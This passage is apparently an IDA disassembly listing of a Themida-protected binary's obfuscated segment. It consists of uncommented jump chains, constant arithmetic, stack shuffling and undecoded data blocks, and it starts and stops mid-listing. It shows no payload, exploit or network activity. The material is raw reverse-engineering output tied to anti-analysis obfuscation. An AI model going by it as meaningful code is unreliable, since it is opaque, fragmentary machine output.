		xchg	eax, [esp]
		jmp	loc_55807C
; ---------------------------------------------------------------------------

loc_555E4D:				; CODE XREF: Themida_:00545455j
		sub	edi, 0C72F0962h
		jmp	loc_555A57
; ---------------------------------------------------------------------------

loc_555E58:				; CODE XREF: Themida_:00547A5Bj
		pop	edx
		add	edx, 4
		push	6D27h
		mov	[esp], ebp
		mov	ebp, 4004039h
		inc	ebp
		add	ebp, 0FBFFBFCAh
		add	edx, ebp
		mov	ebp, [esp]
		push	3894h
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		xchg	edx, [esp]
		jmp	loc_55519E
; ---------------------------------------------------------------------------

loc_555E99:				; CODE XREF: Themida_:005444E7j
		add	esp, 4
		jmp	loc_54B730
; ---------------------------------------------------------------------------

loc_555EA1:				; CODE XREF: Themida_:0055075Fj
		xor	edi, 3C8341F0h
		jmp	loc_5544C8
; ---------------------------------------------------------------------------

loc_555EAC:				; CODE XREF: Themida_:0054BC01j
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		jmp	loc_557EB5
; ---------------------------------------------------------------------------
		db 83h
		dd 0F72904C4h, 1BB0BE56h, 0E6C17713h, 46DEF702h, 87F6814Eh
		dd 81426A1Ah, 2283D6C6h, 5EF729D4h, 5624348Bh, 10EAE9h
		dd 5FFD3100h, 0FED8BDE9h, 0F5BD55FFh, 0E974FB77h, 0FFFF3123h
		dd 241C8B54h, 0FF04DCE9h, 48B66FFh, 5D545524h, 8E5B951h
		dd 0E1811A79h, 73D17D0Bh, 0FF5723E9h, 58C129FFh, 0DD0E981h
		dd 10E915A1h, 5CFFFF49h, 5C243C87h, 0FEF11EE9h,	8AE959FFh
		dd 0C0FFFF9Dh, 0C3FE03E3h, 0FEE04AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555F3D:				; CODE XREF: Themida_:00556CE4j
		inc	edi
		push	ecx
		jmp	loc_54EDF3
; ---------------------------------------------------------------------------

loc_555F44:				; CODE XREF: Themida_:00549B44j
		mov	ebx, [esp]
		add	esp, 4
		add	esi, 0DFE0A3E8h
		push	eax
		push	esi
		jmp	loc_55502E
; ---------------------------------------------------------------------------
		db 56h
		dd 4BEh, 5EF00100h, 4EC81h, 1C890000h, 2BB24h, 0D8010000h
		dd 2404335Bh, 0FF1A9EE9h, 8BC288FFh, 0C4812404h, 4, 8093EB80h
		dd 0D30048C3h, 0E948EB80h, 0FFFF0847h
; ---------------------------------------------------------------------------

loc_555F94:				; CODE XREF: Themida_:0054744Bj
		dec	ebx
		add	ebx, 5FC417Ch
		add	ebx, 6FA10A7Dh
		push	eax
		mov	eax, 2B5B4913h
		inc	eax
		add	eax, 0AA3DE760h
		add	ebx, eax
		pop	eax
		shr	ebx, 3
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0B205347h
		and	edx, 57567DAAh
		or	edx, 3F101D30h
		shr	edx, 1
		dec	edx
		jmp	loc_54633D
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 0FFFEF741h, 81243C8Bh, 4C4h,	0DD4BE900h, 6652FFFEh
		dd 0E9238CBAh, 0FFFFBF56h, 21E95659h, 2CFFFF68h, 93B1519Dh
		dd 2859C828h, 80E953D8h, 1FFFF98h, 0E4CE9DAh, 8B66FFFFh
		dd 8951240Ch, 4EC83E1h,	0FF5C98E9h, 2522BFFFh, 0E781495Ah
		dd 6EA46656h, 7F1E947h,	0E901FFFFh, 767EBB53h, 0D9016789h
		dd 0FF224FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55603D:				; CODE XREF: Themida_:00546FCBj
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_548FA5
; ---------------------------------------------------------------------------

loc_556049:				; CODE XREF: Themida_:00544EE2j
		mov	eax, [esp]
		add	esp, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_546118
; ---------------------------------------------------------------------------

loc_55605F:				; CODE XREF: Themida_:00549BEFj
		pop	eax
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 7EC95211h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1B7C0566h
		push	ecx
		push	esi
		mov	esi, 68BE5E86h
		neg	esi
		and	esi, 4FE311C9h
		sub	esi, 46E15124h
		xor	esi, 9FF38064h
		mov	ecx, esi
		jmp	loc_552755
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24148B24h, 4C481h, 0C4810000h, 4, 565D5455h,	4BEh, 8BF50100h
		dd 0C4832434h, 0D87FE904h, 489FFFEh, 0E9585424h, 0FFFF783Eh
		dd 0E924048Bh, 0FFFFAF14h, 54240489h, 0FF4926E9h, 1C875EFFh
		dd 0E95F5C24h, 0FFFFBE92h
; ---------------------------------------------------------------------------

loc_5560EC:				; CODE XREF: Themida_:0054A064j
		mov	ebx, 52251A69h
		sub	ebx, 25E91FF9h
		not	ebx
		jmp	loc_54382E
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4C38104h, 68000000h,	4259h, 0BD242C89h, 530D6EB9h, 6B0E9h
		dd 24048F00h, 0FF0E3EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556121:				; CODE XREF: Themida_:00545C22j
		add	esi, 4051802Ah
		jmp	loc_54E138
; ---------------------------------------------------------------------------

loc_55612C:				; CODE XREF: Themida_:00551AB7j
		push	10CDh
		jmp	loc_5470EE
; ---------------------------------------------------------------------------

loc_556136:				; CODE XREF: Themida_:0054D475j
		pop	eax
		xor	edx, edi
		mov	edi, [esp]
		jmp	loc_54A925
; ---------------------------------------------------------------------------

loc_556141:				; CODE XREF: Themida_:0054A2F8j
		pop	ebx
		dec	dh
		not	dh
		sub	dh, 1Bh
		and	dh, 9Ah
		sub	dh, 0AFh
		xor	dh, 9Ch
		mov	bl, dh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ecx
		jmp	loc_54BFA6
; ---------------------------------------------------------------------------
		db 68h,	5Eh, 64h
		dd 0E2E90000h, 51FFFFB0h, 0FFEA9BE9h, 4C481FFh,	55000000h
		dd 46EEBA52h, 5D52625Ah, 0EAF5815Ah, 0E9625A46h, 0FFFF3B95h
		dd 5BB2EA80h, 0C280EA28h, 240C8B7Dh, 0E9E28952h, 0FFFF4E1Ah
		dd 0C6885251h, 88F08850h, 0E95A58C1h, 0FFFEF15Bh, 8B240C87h
		dd 8B662424h, 89562404h, 46851E6h, 8B000000h, 0C483240Ch
		dd 0F2AE904h, 0E5890000h, 4C581h, 0C5810000h, 4, 5C242C87h
		dd 4BA52h, 0D5010000h, 0FF5D74E9h, 0E9F000FFh, 0FFFFD440h
		dd 5704C483h, 4BFh, 5FFE0100h, 38E768h,	241C8900h, 0EB0A81BBh
		dd 8EBC125h, 0F704E3C1h, 0AC7AE9DBh, 34FFFFFFh,	68555824h
		dd 3928h, 89241489h, 0F8B850E2h, 0F726352Fh, 2E8C1D8h
		dd 8428C52Dh, 4E0C166h,	174C3405h, 0E9C20101h, 0FFFF4183h
		dd 511268h, 243C8900h, 7C59B168h, 243C8B1Ch, 8104C483h
		dd 0B32BEBF7h, 65C78133h, 0E93785D5h, 0D1Eh, 4C6835Ah
		dd 5C243487h, 0FF4568E9h, 77095BFFh, 2434FF1Ch,	0FF8A88E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556285:				; CODE XREF: Themida_:0054A92Ej
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 19DB5022h
		shl	ebp, 6
		jmp	loc_555E2C
; ---------------------------------------------------------------------------

loc_556296:				; CODE XREF: Themida_:0054E224j
		add	esp, 4
		push	eax
		jmp	loc_550FD4
; ---------------------------------------------------------------------------
		dw 489h
		dd 6C2FB824h, 0C101FC09h, 3A5F358h, 66683862h, 0E9000035h
		dd 0FFFF1D25h, 1D8FB966h, 66CB0166h, 0E9240C8Bh, 0FFFFD60Fh
		dd 0FC51E953h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5562D2:				; CODE XREF: Themida_:00553066j
		add	ebx, esi
		sub	ebx, 0B4A7148h
		pop	esi
		add	ebx, 4
		jmp	loc_550E85
; ---------------------------------------------------------------------------
		dw 0F000h
		dd 5A2434FFh, 0E9E08950h, 0FFFFDC91h
; ---------------------------------------------------------------------------

loc_5562F4:				; CODE XREF: Themida_:00547571j
		mov	esi, [esp]
		add	esp, 4
		push	esi
		push	edi
		jmp	loc_54ABD6
; ---------------------------------------------------------------------------
		dd 400F9968h, 0EF815F08h, 64637F86h, 0FED665E9h, 5A5452FFh
		dd 4C281h, 23E90000h, 9FFFED2h,	0C5CCE9F1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55632A:				; CODE XREF: Themida_:0055640Cj
		mov	[esp], eax
		push	edx
		mov	dl, 60h
		shl	dl, 5
		xor	dl, 1Bh
		mov	al, dl
		jmp	loc_548D07
; ---------------------------------------------------------------------------

loc_55633D:				; CODE XREF: Themida_:0054F0E9j
		push	ebp
		jmp	loc_5480B5
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4, 8359CF89h, 148904ECh, 1991BA24h, 0D12948DCh, 81F9015Ah
		dd 0DC1991C1h, 243C8B48h, 0FEF1CAE9h, 0EAC14AFFh, 4E2C107h
		dd 0E9FDC281h, 0D5015DFAh, 0FF7F06E9h, 240489FFh, 0FFA29AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556385:				; CODE XREF: Themida_:00549EABj
		xchg	ebp, [esp]
		pop	esp
		or	eax, eax
		jz	loc_548325
		push	ebx
		mov	ebx, 28h
		jmp	loc_553DAB
; ---------------------------------------------------------------------------
		dd 83241C89h, 8F5404ECh, 4832404h, 0E95B0424h, 0FFFED248h
		dd 8324048Bh, 685604C4h, 4870h,	68240489h, 32735FE5h, 0C5895558h
		dd 0E95DEE89h, 0FFFFD6E3h, 4C481h, 0E9530000h, 0FFFF30F9h
; ---------------------------------------------------------------------------

loc_5563DC:				; CODE XREF: Themida_:0054FA02j
		pop	esi
		jmp	loc_552794
; ---------------------------------------------------------------------------

loc_5563E2:				; CODE XREF: Themida_:00556A3Aj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ebx, eax
		add	ebx, 194D25ECh
		add	ebx, 0D8310A6h
		sub	esp, 2
		mov	[esp], bx
		push	eax
		mov	ah, 10h
		push	69C4h
		jmp	loc_55632A
; ---------------------------------------------------------------------------
		db 0BDh, 0, 7Ah
		dd 6C2938EBh, 0CBE90824h, 0BBFFFFD3h, 50A30DCh,	650C381h
		dd 0DE0154A3h, 7CE9575Bh
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556433:				; CODE XREF: Themida_:00547F0Dj
		push	edx
		push	eax
		pop	edx
		jmp	loc_548DF5
; ---------------------------------------------------------------------------

loc_55643B:				; CODE XREF: Themida_:00549CC8j
		mov	edi, ebx
		pop	ebx
		jmp	loc_548E83
; ---------------------------------------------------------------------------
		db 0B9h
		dd 0C5C7701h, 42E6F181h, 0E18148ABh, 48E72AEh, 8108E1C1h
		dd 900D65C9h, 4C18173h,	3190DC18h, 0EB8959CDh, 5D2434FFh
		dd 8104C483h, 1C3h, 0C6BA5200h,	533A014Eh, 0D73A89BBh
		dd 0A697E972h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556486:				; CODE XREF: Themida_:0054A235j
		add	edx, 0FFFFFFFFh
		sub	edx, 1
		shr	edx, 2
		sub	edx, 1DB882B8h
		sub	ecx, 467C1839h
		add	ecx, edx
		add	ecx, 467C1839h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_549C67
; ---------------------------------------------------------------------------
word_5564AE	dw 8B66h		; DATA XREF: Themida_:00543188o
		dd 0E951240Ch, 0FFFFE775h
; ---------------------------------------------------------------------------

loc_5564B8:				; CODE XREF: Themida_:0054CFD2j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_54644A
; ---------------------------------------------------------------------------

loc_5564CC:				; CODE XREF: Themida_:0055583Dj
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_557787
; ---------------------------------------------------------------------------
		dw 0D901h
		dd 0FF5E68E9h, 35DBBDFFh, 0EA29FB19h, 0FFC8A6E9h, 0CDADE9FFh
		dd 0F758FFFEh, 632CE9D9h, 60BEFFFFh, 0E902513Dh, 0FFFF7386h
		dd 0AF3EB12Dh, 5D80113h, 13AF3EB1h, 5D54555Bh, 2D23E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556516:				; CODE XREF: Themida_:00548F0Cj
		sub	ebx, ecx
		pop	ecx
		or	ebx, 3D7D61CDh
		push	eax
		mov	eax, 0C96D71A9h
		add	ebx, eax
		pop	eax
		add	ecx, 39862702h
		sub	ecx, ebx
		sub	ecx, 39862702h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_544BCD
; ---------------------------------------------------------------------------
		db 4Ah,	81h, 0C2h
		dd 118CA57Dh, 55E8E953h, 148BFFFFh, 4C48124h, 0BA000000h
		dd 47626215h, 5A2FBE56h, 0C1462E65h, 0ADE902EEh, 68FFFF64h
		dd 3FC3h, 0BF243C89h, 13B30D23h, 36860068h, 0A095E953h
		dd 8853FFFFh, 8BFE88CFh, 0C483241Ch, 8BF08804h,	0C4832414h
		dd 8BC38804h, 54522404h, 0FFE19EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5565A1:				; CODE XREF: Themida_:00555361j
		mov	ebx, [esp]
		push	edi
		jmp	loc_5459B4
; ---------------------------------------------------------------------------

loc_5565AA:				; CODE XREF: Themida_:005455C0j
		push	10A7h
		mov	[esp], esi
		mov	esi, 2
		add	ecx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ecx
		jmp	loc_54AC9E
; ---------------------------------------------------------------------------
		dw 565Ch
		dd 2266850h, 0E9585F6Eh, 0FFFF7B1Ch
; ---------------------------------------------------------------------------

loc_5565D4:				; CODE XREF: Themida_:005538F1j
		push	47A326CAh
		pop	edx
		add	edx, 71821E2h
		sub	edx, 7402C07h
		shl	edx, 4
		add	edx, 0CAD0AD65h
		mov	edi, edx
		pop	edx
		not	edi
		sub	edi, 0BD7D8846h
		jmp	loc_546A80
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4A6FC781h, 0C8B5755h, 4C48124h, 83000000h, 3C8704EFh
		dd 0E259E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55661A:				; CODE XREF: Themida_:00552B80j
		push	ebp
		jmp	loc_55684E
; ---------------------------------------------------------------------------

loc_556620:				; CODE XREF: Themida_:0054D5F1j
		add	ebx, ebp
		sub	ebx, 0FA10791h
		jmp	loc_54C2B9
; ---------------------------------------------------------------------------
		db 4Dh,	0F7h, 0D5h
		dd 13C8C581h, 0E9550A3Dh, 14F4h, 5DBDBA52h, 0D0214CF3h
		dd 0FF751AE9h, 96D6F7FFh, 1A7AB425h, 5E0C159h, 4EC8140h
		dd 89000000h, 0EC812414h, 4, 0E9243489h, 0FFFFE910h
; ---------------------------------------------------------------------------

loc_55666C:				; CODE XREF: Themida_:0054B784j
		mov	al, 17h
		add	al, 3Eh
		add	dl, 48h
		add	dl, al
		sub	dl, 48h
		jmp	loc_54A60B
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 5366240Ch, 0F98864B7h, 241C8B66h,	5E08950h
		dd 4, 0FEEE34E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55669D:				; CODE XREF: Themida_:005518E2j
		add	edx, esi
		sub	edx, 732E19B8h
		mov	esi, [esp]
		jmp	loc_54F9F2
; ---------------------------------------------------------------------------

loc_5566AD:				; CODE XREF: Themida_:0054E731j
		xor	[esp], edx
		jmp	loc_55258B
; ---------------------------------------------------------------------------
		db 66h,	5Fh, 66h
		dd 6624048Fh, 5166CF87h, 2414F766h, 240C8B66h, 6602C483h
		dd 0A9E9CF87h, 89FFFF1Ch, 3DE92404h, 8FFFEFFh, 24048BC6h
		dd 4C481h, 51660000h, 0EE0011B5h, 0FF8A0FE9h, 94FBDFFh
		dd 0B5BF7112h, 18A6CF6h, 0FB015DEFh, 81243C8Bh,	4C4h, 8BDD0100h
		dd 0C481241Ch, 4, 0E9242C87h, 0FFFF9FDCh, 0F75EF721h, 3EFC1D7h
		dd 8303E7C1h, 0D7E901EFh
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------

loc_55672F:				; CODE XREF: Themida_:00551B33j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_556A3F
; ---------------------------------------------------------------------------

loc_556738:				; CODE XREF: Themida_:00556C16j
		add	esp, 4
		push	ecx
		xor	dword ptr [esp], 18E45DD3h
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 18E45DD3h
		jmp	loc_5575BB
; ---------------------------------------------------------------------------
		db 5Dh
		dd 39F895B9h, 1B55E9FAh, 0B8680000h, 0E9000049h, 0FFFF7633h
		dd 2124248Bh, 2434FFF8h, 83243C8Bh, 0C48304C4h,	0FC00904h
		dd 0FFF67684h, 435268FFh, 0B1E90000h, 8B00000Eh, 0C4832404h
		dd 0EC835504h, 24248904h, 796DB951h, 0C181785Dh, 40B121CEh
		dd 9B37E981h, 4C01B90Eh, 0C8B0424h, 4C48124h, 0E9000000h
		dd 0FFFF558Eh, 5DDB68h,	240C8900h, 0FF8DF6E9h, 0ED814DFFh
		dd 48834235h, 691DF581h, 0ED81510Dh, 5B87459Ah,	2C8BEB01h
		dd 4C48124h, 53000000h,	42474FFh, 24048F5Bh, 66C3315Ch
		dd 6600B60Fh, 666E9B68h, 0E9240489h, 0FFFECA97h
; ---------------------------------------------------------------------------

loc_556804:				; CODE XREF: Themida_:00555E0Cj
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_55447F
; ---------------------------------------------------------------------------

loc_55680E:				; CODE XREF: Themida_:00547E90j
		push	ax
		mov	al, dl
		dec	al
		mov	dl, al
		pop	ax
		push	ax
		mov	al, 0E7h
		jmp	loc_551B61
; ---------------------------------------------------------------------------

loc_556821:				; CODE XREF: Themida_:005500E0j
		neg	ebx
		and	ebx, 3D163C1Fh
		jmp	loc_54E086
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0FA12E904h, 0F131FFFFh, 0ABC2815Eh, 1495F64h, 0BD83E9CAh
		dd 0C483FFFFh, 1149E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55684E:				; CODE XREF: Themida_:0055661Bj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54B582
; ---------------------------------------------------------------------------
		db 52h
		dd 0FFB35CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556861:				; CODE XREF: Themida_:00549FA4j
		add	eax, edi
		pop	edi
		jmp	loc_54AA2E
; ---------------------------------------------------------------------------

loc_556869:				; CODE XREF: Themida_:005491ABj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		jmp	loc_54EA22
; ---------------------------------------------------------------------------
		dd 0EC34B104h, 0E7E9C700h, 25FFFED9h, 17E766F5h, 8308E8C1h
		dd 7768FFC0h, 8900004Fh, 3BB9240Ch, 0E972B143h,	0FFFEEF47h
		dd 4C4835Ah, 4EC8353h, 83242489h, 5B042404h, 0FF0B61E9h
		dd 0E9C129FFh, 0FFFF3484h
; ---------------------------------------------------------------------------

loc_5568C0:				; CODE XREF: Themida_:0054C5EEj
		pop	eax
		add	ecx, esi
		pop	esi
		add	ecx, 792873E1h
		push	edx
		push	5B8A7CBBh
		mov	edx, [esp]
		jmp	loc_54F0D8
; ---------------------------------------------------------------------------
		dd 1D9F68h, 24048900h, 0E15431B8h, 0ABC28149h, 81280852h
		dd 0E30C4EEAh, 51C22957h, 9A6631B9h, 1DC18124h,	13348A6h
		dd 0B46859CAh, 8900002Eh, 0ABBE2434h, 81280852h, 0F64BF7EAh
		dd 81F2294Eh, 0F64BF7C2h, 48B5E4Eh, 4EC8324h, 54240489h
		dd 40558h, 0C0830000h, 24043304h, 33240431h, 0E95C2404h
		dd 0FFFEC95Bh, 4EC81h, 4890000h, 65ABB824h, 0C6810F13h
		dd 1B753995h, 0EE81C629h, 1B753995h, 81FE0158h,	1365ABC6h
		dd 6F6E90Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55696A:				; CODE XREF: Themida_:0054AB9Ej
		pop	edi
		add	esp, 4
		or	edi, 25074DD7h
		push	ebx
		mov	ebx, 8810B22Ah
		sub	edi, 4DE66150h
		add	edi, ebx
		add	edi, 4DE66150h
		pop	ebx
		push	1FE8h
		mov	[esp], edi
		xor	dword ptr [esp], 2CA821DEh
		pop	ebp
		push	ecx
		push	ebx
		mov	ebx, 7D2D509Bh
		push	esi
		mov	esi, ebx
		mov	ecx, esi
		jmp	loc_54C917
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 372C3E31h, 6246BE56h, 0F7012E40h, 8324348Bh,	0B85004C4h
		dd 7B5D4ADDh, 287D9925h, 2CB1350Ch, 0EF816DFEh,	6D0226DAh
		dd 0C781C729h, 6D0226DAh, 2434FF58h, 28E95359h,	81FFFF0Dh
		dd 4C4h, 0B3535200h, 0E995B653h, 0FFFF5A0Eh, 4245C29h
		dd 0E9241C8Bh, 0FFFF4A0Dh
; ---------------------------------------------------------------------------

loc_556A04:				; CODE XREF: Themida_:0054AF5Bj
		pop	esi
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		jmp	loc_54DEFB
; ---------------------------------------------------------------------------
		db 1, 0F1h, 5Eh
		dd 0FF0E07E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556A19:				; CODE XREF: Themida_:00552E70j
		mov	edi, 52B336DCh
		and	ecx, edi
		jmp	loc_5548FB
; ---------------------------------------------------------------------------

loc_556A25:				; CODE XREF: Themida_:0054DEB2j
		push	ebx
		push	eax
		jmp	loc_555B48
; ---------------------------------------------------------------------------

loc_556A2C:				; CODE XREF: Themida_:0054C69Ej
		sub	ebx, edx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5563E2
; ---------------------------------------------------------------------------

loc_556A3F:				; CODE XREF: Themida_:00556733j
		add	esp, 4
		jmp	loc_5579C9
; ---------------------------------------------------------------------------
		db 4
		dd 58C300AEh, 284FF380h, 241C8BDEh, 4C483h, 0C6305AF0h
		dd 4B0458h, 5A4B2CF0h, 54E968h,	240C8900h, 52509CB5h, 0DEF634B6h
		dd 6602EC83h, 0B0240489h, 0E9C62035h, 0FFFF7BF7h, 214AED81h
		dd 1E9B9DAh, 0FFFFFF48h, 91E92434h, 80FFFF36h, 0F38034EBh
		dd 0B353522Eh, 280BB6C3h, 42E95BDEh
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556AAB:				; CODE XREF: Themida_:00556B42j
		shl	ecx, 8
		sub	ecx, 0FFFFFFFFh
		jmp	loc_54BBF1
; ---------------------------------------------------------------------------
		db 30h,	0CBh, 0E9h
		dd 0FFFFA62Ch, 6EDC15Dh, 457D68h, 240C8900h, 67216852h
		dd 10E93877h, 29FFFF5Fh, 0E5815BDDh, 66F3238Ah,	0FF281CE9h
		dd 4C681FFh, 53000000h,	0DCABF57h, 0D5E97767h
		db 6Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556AF7:				; CODE XREF: Themida_:00554CBCj
		sub	esi, eax
		pop	eax
		push	3484h
		jmp	loc_547B16
; ---------------------------------------------------------------------------
		dd 2404FF53h, 65EB815Bh, 171D6CDh, 68E95BDEh
		db 6Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556B17:				; CODE XREF: Themida_:00547D3Dj
		add	ebp, 758A6302h
		and	ecx, ebp
		pop	ebp
		inc	ecx
		add	ecx, 0DFECB89Fh
		add	esi, 6BA137ADh
		add	esi, ecx
		jmp	loc_547725
; ---------------------------------------------------------------------------

loc_556B34:				; CODE XREF: Themida_:0054A63Fj
		sub	ebx, 7CC839CAh
		pop	ebp
		push	ecx
		mov	ecx, 2120842h
		inc	ecx
		jmp	loc_556AAB
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 157E6800h, 7CE90000h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556B57:				; CODE XREF: Themida_:0054B1F2j
		pop	ax
		mov	cl, dl
		jmp	loc_54FFA9
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 0FFFFBE3Bh, 8B24048Fh, 34FF2424h, 2434FF24h
		dd 54E95659h, 81FFFF26h, 42D1EFC3h, 5BDE29ECh, 8B243487h
		dd 89662424h, 73E9240Ch
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556B93:				; CODE XREF: Themida_:00555861j
		add	ebp, 6C943F59h
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_5453FA
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 0E4h
		dd 52FFFF8Fh, 0FF7602E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556BB1:				; CODE XREF: Themida_:00552C85j
		push	ecx
		mov	ch, bh
		mov	dh, ch
		pop	ecx
		mov	[edi+eax*4], dh
		pop	edx
		jmp	loc_547707
; ---------------------------------------------------------------------------
		dd 164595BDh, 2444810Dh, 186CA308h, 7CF4E976h, 565BFFFFh
		dd 0DFE9E689h
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556BDB:				; CODE XREF: Themida_:005517E6j
		mov	esi, 3E662E98h
		jmp	loc_54DBDB
; ---------------------------------------------------------------------------

loc_556BE5:				; CODE XREF: Themida_:00551534j
		sub	eax, 60D25F68h
		pop	ebp
		add	eax, esi
		add	eax, 56B3BD0h
		pop	esi
		push	edi
		mov	edi, 61B70D42h
		add	edi, 67064026h
		jmp	loc_54AB73
; ---------------------------------------------------------------------------

loc_556C04:				; CODE XREF: Themida_:0054DD44j
		mov	[esp], ebx
		jmp	loc_5481CD
; ---------------------------------------------------------------------------

loc_556C0C:				; CODE XREF: Themida_:0054E153j
		mov	ebx, 76463F30h
		xor	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_556738
; ---------------------------------------------------------------------------
		db 0Dh
		dd 58586161h, 0FF287DE9h, 4BFFFh, 0E9810000h, 1C672988h
		dd 6BE9F901h
		db 0Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556C37:				; CODE XREF: Themida_:0054B3E5j
		push	4AE1h
		mov	[esp], edi
		mov	edi, 6E945B28h
		add	[esp+8], edi
		jmp	loc_54755A
; ---------------------------------------------------------------------------

loc_556C4D:				; CODE XREF: Themida_:0054805Cj
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 19713B6Fh
		push	1DF4h
		jmp	loc_54A92B
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 0FF7931E9h, 4C481FFh, 50000000h, 3B85057h, 0E932CD0Ah
		dd 0FFFEDA91h, 4C481h, 0C4830000h, 7F53E904h, 815AFFFFh
		dd 4C2h, 4C28300h, 8B241487h, 31E92424h, 81FFFF3Ah, 4C4h
		dd 0E7895700h, 4C781h, 9BE90000h, 50FFFF06h, 1BE968h, 84C2E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556CD6:				; CODE XREF: Themida_:00549D8Cj
		not	esi
		shr	esi, 5
		sub	esi, 0CD82AA27h
		and	edi, esi
		pop	esi
		jmp	loc_555F3D
; ---------------------------------------------------------------------------

loc_556CE9:				; CODE XREF: Themida_:00546CFDj
		push	esi
		push	edx
		push	edi
		mov	edi, 4C71064h
		mov	edx, edi
		jmp	loc_54F68D
; ---------------------------------------------------------------------------

loc_556CF8:				; CODE XREF: Themida_:00547D52j
		mov	[esp], eax
		jmp	loc_550D7E
; ---------------------------------------------------------------------------

loc_556D00:				; CODE XREF: Themida_:0055217Fj
		add	edi, 0A7A580Ah
		sub	edi, ebx
		sub	edi, 0A7A580Ah
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_549E47
; ---------------------------------------------------------------------------
		dw 8B05h
		dd 0FF472729h, 83592434h, 0C33104C4h, 0FEDA05E9h
		db 0FFh
byte_556D35	db 0FFh, 74h, 24h	; DATA XREF: Themida_:00543198o
		dd 2434FF04h, 8B2434FFh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 2C7675FEh
		xor	esi, 2C7675FAh
		add	ebp, 0C51211Ah
		add	ebp, esi
		sub	ebp, 0C51211Ah
		jmp	loc_545BF0
; ---------------------------------------------------------------------------
		dw 8166h
		dd 663F3AF3h, 666A2C68h, 66241489h, 6616A7BAh, 3C7EB81h
		dd 0FFE201E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556D85:				; CODE XREF: Themida_:00555A59j
		pop	edi
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_553C9D
; ---------------------------------------------------------------------------

loc_556D8F:				; CODE XREF: Themida_:00547361j
		not	ebx
		jmp	loc_54B374
; ---------------------------------------------------------------------------

loc_556D96:				; CODE XREF: Themida_:0054987Dj
		push	57FC5975h
		pop	ebp
		jmp	loc_557068
; ---------------------------------------------------------------------------

loc_556DA1:				; CODE XREF: Themida_:00554616j
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
